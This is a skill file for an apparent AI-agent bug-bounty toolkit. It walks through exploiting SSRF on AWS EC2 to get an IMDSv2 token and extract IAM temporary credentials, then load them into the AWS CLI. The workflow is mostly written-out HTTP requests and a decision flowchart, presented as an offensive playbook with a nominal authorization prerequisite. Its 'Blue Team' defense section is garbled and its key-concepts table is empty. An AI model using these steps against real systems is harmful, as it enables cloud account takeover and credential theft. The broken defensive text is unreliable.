$npx -y skills add ShulkwiSEC/bb-huge --skill aws-imdsv2-ssrf-bypassExploit Server-Side Request Forgery (SSRF) vulnerabilities to extract AWS IAM credentials from the Instance Metadata Service version 2 (IMDSv2). This skill details how to bypass the token requirement of IMDSv2 by chaining HTTP verbs (PUT then GET) if the SSRF vulnerability allows
| 1 | # AWS IMDSv2 SSRF Bypass |
| 2 | |
| 3 | ## When to Use |
| 4 | - When you have identified an SSRF vulnerability on an AWS EC2 instance, but IMDSv1 is disabled, and the service requires IMDSv2 tokens. |
| 5 | - When the SSRF vector gives you enough control to issue a `PUT` request and specify custom HTTP headers. |
| 6 | |
| 7 | |
| 8 | ## Prerequisites |
| 9 | - Authorized scope and rules of engagement for the target environment |
| 10 | - Appropriate tools installed on the attack/analysis platform |
| 11 | - Understanding of the target technology stack and architecture |
| 12 | - Documentation template ready for findings and evidence capture |
| 13 | |
| 14 | ## Workflow |
| 15 | |
| 16 | ### Phase 1: Identifying the Restriction |
| 17 | |
| 18 | Attempting a standard IMDSv1 request to `http://169.254.169.254/latest/meta-data/` yields a `401 Unauthorized` or requires a token. This confirms IMDSv2 is enforced. |
| 19 | |
| 20 | ### Phase 2: Generating the Token (The PUT Request) |
| 21 | |
| 22 | IMDSv2 requires a session token. You must use the SSRF to send a `PUT` request to `/latest/api/token` with the header `X-aws-ec2-metadata-token-ttl-seconds`. |
| 23 | |
| 24 | ```http |
| 25 | # Concept: Push the SSRF payload to request the token PUT /latest/api/token HTTP/1.1 |
| 26 | Host: 169.254.169.254 |
| 27 | X-aws-ec2-metadata-token-ttl-seconds: 21600 |
| 28 | ``` |
| 29 | *Note: If the SSRF only allows GET requests, bypassing IMDSv2 via this specific method is generally not possible unless you have header injection/request smuggling.* |
| 30 | |
| 31 | ### Phase 3: Extracting Metadata (The GET Request) |
| 32 | |
| 33 | If Phase 2 succeeds, the response will contain the token string (e.g., `AQAAAHN...`). |
| 34 | You must then issue a second SSRF request (a `GET` request) to the metadata endpoint, injecting the acquired token via the `X-aws-ec2-metadata-token` header. |
| 35 | |
| 36 | ```http |
| 37 | # GET /latest/meta-data/iam/security-credentials/ HTTP/1.1 |
| 38 | Host: 169.254.169.254 |
| 39 | X-aws-ec2-metadata-token: AQAAAHN... |
| 40 | ``` |
| 41 | |
| 42 | ### Phase 4: Looting the IAM Keys |
| 43 | |
| 44 | Identify the IAM role name from the previous step, then extract the temporary credentials. |
| 45 | |
| 46 | ```http |
| 47 | # GET /latest/meta-data/iam/security-credentials/<ROLE_NAME> HTTP/1.1 |
| 48 | Host: 169.254.169.254 |
| 49 | X-aws-ec2-metadata-token: AQAAAHN... |
| 50 | ``` |
| 51 | Configure your local AWS CLI with the retrieved `AccessKeyId`, `SecretAccessKey`, and `Token`. |
| 52 | |
| 53 | #### Decision Point 🔀 |
| 54 | ```mermaid |
| 55 | flowchart TD |
| 56 | A[Discover SSRF ] --> B{IMDS Version? ]} |
| 57 | B -->|IMDSv1| C[Direct GET Request ] |
| 58 | B -->|IMDSv2| D{SSRF Allows PUT & Headers? } |
| 59 | D -->|Yes| E[Send PUT to get Token ] |
| 60 | D -->|No| F[Bypass Failed - IMDSv2 Secure ] |
| 61 | E --> G[Send GET with Token Header ] |
| 62 | C & G --> H[Extract Credentials ] |
| 63 | ``` |
| 64 | |
| 65 | ## 🔵 Blue Team Detection & Defense |
| 66 | - **Enforce IMDSv2 Globally**: **Restrict Hop Limit**: **Limit IAM Roles on EC2**: Key Concepts |
| 67 | | Concept | Description | |
| 68 | |---------|-------------| |
| 69 | ## Output Format |
| 70 | ``` |
| 71 | Aws Imdsv2 Ssrf Bypass — Assessment Report |
| 72 | ============================================================ |
| 73 | Target: [Target identifier] |
| 74 | Assessor: [Operator name] |
| 75 | Date: [Assessment date] |
| 76 | Scope: [Authorized scope] |
| 77 | MITRE ATT&CK: [Relevant technique IDs] |
| 78 | |
| 79 | Findings Summary: |
| 80 | [Finding 1]: [Severity] — [Brief description] |
| 81 | [Finding 2]: [Severity] — [Brief description] |
| 82 | |
| 83 | Detailed Results: |
| 84 | Phase 1: [Phase name] |
| 85 | - Result: [Outcome] |
| 86 | - Evidence: [Screenshot/log reference] |
| 87 | - Impact: [Business impact assessment] |
| 88 | |
| 89 | Phase 2: [Phase name] |
| 90 | - Result: [Outcome] |
| 91 | - Evidence: [Screenshot/log reference] |
| 92 | - Impact: [Business impact assessment] |
| 93 | |
| 94 | Risk Rating: [Critical/High/Medium/Low/Informational] |
| 95 | Recommendations: |
| 96 | 1. [Immediate remediation step] |
| 97 | 2. [Long-term hardening measure] |
| 98 | 3. [Monitoring/detection improvement] |
| 99 | ``` |
| 100 | |
| 101 | |
| 102 | ## 📚 Shared Resources |
| 103 | > For cross-cutting methodology applicable to all vulnerability classes, see: |
| 104 | > - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns |
| 105 | > - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference |
| 106 | > - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class |
| 107 | |
| 108 | ## References |
| 109 | - AWS Docs: [Transition to IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instan |